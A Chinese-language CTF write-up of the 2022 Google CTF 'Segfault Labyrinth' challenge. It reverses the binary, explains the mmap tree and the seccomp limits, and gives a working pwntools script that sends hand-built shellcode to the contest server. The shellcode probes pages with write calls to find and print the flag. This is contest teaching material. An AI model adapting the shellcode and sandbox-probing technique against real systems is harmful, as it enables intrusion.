当前位置:网站首页>2022 Google CTF SEGFAULT LABYRINTH wp
2022 Google CTF SEGFAULT LABYRINTH wp
2022-07-07 01:16:00 【xyzmpv】
不要問我為什麼雙休來打CTF 問就是活該:)
著名的Google CTF。去年有看見一比特師傅畫了一整張紙的流程圖做了一道逆向,今年來自己嘗(自)試(虐)一下。
當然pwn是不可能pwn的,只能做道misc維持生活這樣子。很幸運在第一天做出來了SEGFAULT LABYRINTH這道Misc,交題的排名也比較不錯(當然第二天就摸了)。這裏來分享一下我的wp。
邏輯分析
首先整個程序主體基本上只有一個main函數,逆向起來並不費勁。
一開始申請一個mmap塊用來放指針,地址固定(這個地址最後會給你)。然後進入while循環。
程序的主體邏輯就在這個while(1)的循環裏面。先讀一個隨機數,再取這個隨機數第一字節的低4比特並把高4比特清零(實際上這個隨機數真正用到的只有這低4比特)。
每一個循環都會再申請16個mmap塊並將其地址按順序寫入v5指向的空間。這個過程中會用隨機數在0-16中間抽獎,只有抽中的那個塊才有權限(當然也可能臉黑,抽到1或者2 權限只有3或6)。
第一次的v5
是一開始申請的那個mmap塊的地址,每一次循環都會將v5
賦值為本次循環抽中的的那個有權限的塊的地址(否則接下來沒法繼續寫地址)
也就是說,整個過程相當於一個分叉樹的生長過程,每一次挑選一個隨機節點,在這個節點上生長出16個子節點,以此類推
仔細看看可以知道,涉及flag
的部分在if(!--v4)
這個判斷裏面,由於v4最初是10,所以實際上得跑到第10次循環才會進入邏輯,而此時已經初始化了16^10個節點(地址)。在這個分支中,會將flag讀到最後一個有權限的節點處。

示意圖如下所示:

然後,分配一塊有RWX權限的段(並在段頭放上定制的shellcode),輸出Welcome to the Segfault Labyrinth
,設置保護

再讓你覆蓋ptr[0]
並讀入長度為ptr[0] % (4096 - v16)
字節的shellcode並執行
注意兩點:
- 如前所述,shellcode的開頭已經給定好了,而且總長度不得超過4096
- 執行shellcode時參數為
mmap_addr_1
,也就是分叉樹頭結點地址
寫死的shellcode開頭段(特意留下了rdi)
沙盒保護
解題思路
本質上來說題目的要求就是遍曆這個分叉樹並找到最後一個節點,再將其打印出來。
看保護可以發現可以用的系統調用只有以上幾個了。第一反應直接用shellcraft生成shellcode或寫C再編譯,摳下來PIC。
但實際調試還發現,不能使用棧否則會直接SEGFAULT
(這應該也是題目名稱的來源)。在這種情况下,基本不太可能通過以上兩種方式實現,於是只能手搓shellcode了
一開始的想法是直接取空節點的值然後cmp 0
,但調試中發現空節點的權限是0,直接取值會崩掉。後面有師傅提出來使用mmap去測試節點權限,結果也是會崩掉。
最後的解决辦法非常簡單粗暴——直接通過write遍曆打印每個節點。對於非空節點,返回值rax是長度,而空節點返回值則為負數。通過控制write長度+cmp rax,長度+條件跳轉
的方法,就可以實現對這一分叉樹的遍曆。
最後搓出來的exp如下:
# -*- coding:utf-8 -*-
from pwn import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./challenge')
p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
#e = ELF()
#gdb.attach(p,'''
#b* $rebase(0x14E8)
#c
#si 16
#si 5
#''')
#local_file =
#libc =
#elf = ELF(local_file)
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
payload=asm('mov r15,rdi') #保存頭節點地址
payload+=asm('mov rsi,[rdi]') #取頭節點指向的第一個地址
payload+=asm('mov rdi,1')
payload+=asm('mov rdx,0x40')
payload+=asm('mov rax,1')
payload+=asm('syscall') #構造write
payload+=asm('add r15,8') #默認不通過校驗,頭節點指針順移
payload+=asm('mov rdi,r15')
payload+=asm('cmp rax,0x40')
payload+=asm('jnz $-37') #若不通過,則前期准備完成,直接跳回第二條匯編
payload+=asm('sub r15,8') #通過,先複比特頭節點指針,再迭代指針
payload+=asm('mov r15,[r15]')
payload+=asm('mov rdi,r15')
payload+=asm('jmp $-49')#返回第二條匯編,繼續循環
sa('Welcome to the Segfault Labyrinth',p64(len(payload)))
se(payload)
p.interactive()
小結
- 這個辦法自我感覺還是不錯的,通過write的報錯和返回值進行遍曆判斷,同時也直接能打印出flag,而且長度只有14條匯編
- pwntools匯編的向上跳轉跟正常匯編器一樣,需要先計算出前面的指令長度再寫
- 一開始逆錯了,以為
v5
始終是開頭給的那個mmap地址,調試了一下發現沒法直接找到flag,而且內存有一堆mmap塊,這才反應過來 - 感謝做題過程中參與頭腦風暴的兩比特師傅,提供了很多寶貴的建議。第一次在這種級別比賽做出題而且交題的順比特比較不錯,還是很開心的。
pwn是不可能pwn的,只能做點misc維持生活這樣子
边栏推荐
- 让我们,从头到尾,通透网络I/O模型
- 实现mysql与ES的增量数据同步
- [100 cases of JVM tuning practice] 05 - Method area tuning practice (Part 2)
- [hfctf2020]babyupload session parsing engine
- Address information parsing in one line of code
- How do novices get started and learn PostgreSQL?
- 深度学习框架TF安装
- tensorflow 1.14指定gpu运行设置
- 迈动互联中标北京人寿保险,助推客户提升品牌价值
- Your cache folder contains root-owned files, due to a bug in npm ERR! previous versions of npm which
猜你喜欢
Explain in detail the matrix normalization function normalize() of OpenCV [norm or value range of the scoped matrix (normalization)], and attach norm_ Example code in the case of minmax
UI control telerik UI for WinForms new theme - vs2022 heuristic theme
Dell笔记本周期性闪屏故障
Make a simple graphical interface with Tkinter
如何管理分布式团队?
阿里云中mysql数据库被攻击了,最终数据找回来了
迈动互联中标北京人寿保险,助推客户提升品牌价值
Telerik UI 2022 R2 SP1 Retail-Not Crack
[Batch dos - cmd Command - Summary and Summary] - String search, find, Filter Commands (FIND, findstr), differentiation and Analysis of Find and findstr
Provincial and urban level three coordinate boundary data CSV to JSON
随机推荐
Implementation principle of waitgroup in golang
Taro2.* 小程序配置分享微信朋友圈
Do you understand this patch of the interface control devaxpress WinForms skin editor?
Build your own website (17)
NEON优化:性能优化常见问题QA
【JVM调优实战100例】04——方法区调优实战(上)
Batch obtain the latitude coordinates of all administrative regions in China (to the county level)
What kind of experience is it to realize real-time collaboration in jupyter
《安富莱嵌入式周报》第272期:2022.06.27--2022.07.03
mysql: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such
[hfctf2020]babyupload session parsing engine
windows安装mysql8(5分钟)
There is an error in the paddehub application
负载均衡性能参数如何测评?
Part VI, STM32 pulse width modulation (PWM) programming
UI control telerik UI for WinForms new theme - vs2022 heuristic theme
Niuke cold training camp 6B (Freund has no green name level)
UI控件Telerik UI for WinForms新主题——VS2022启发式主题
Dynamic planning idea "from getting started to giving up"
[100 cases of JVM tuning practice] 05 - Method area tuning practice (Part 2)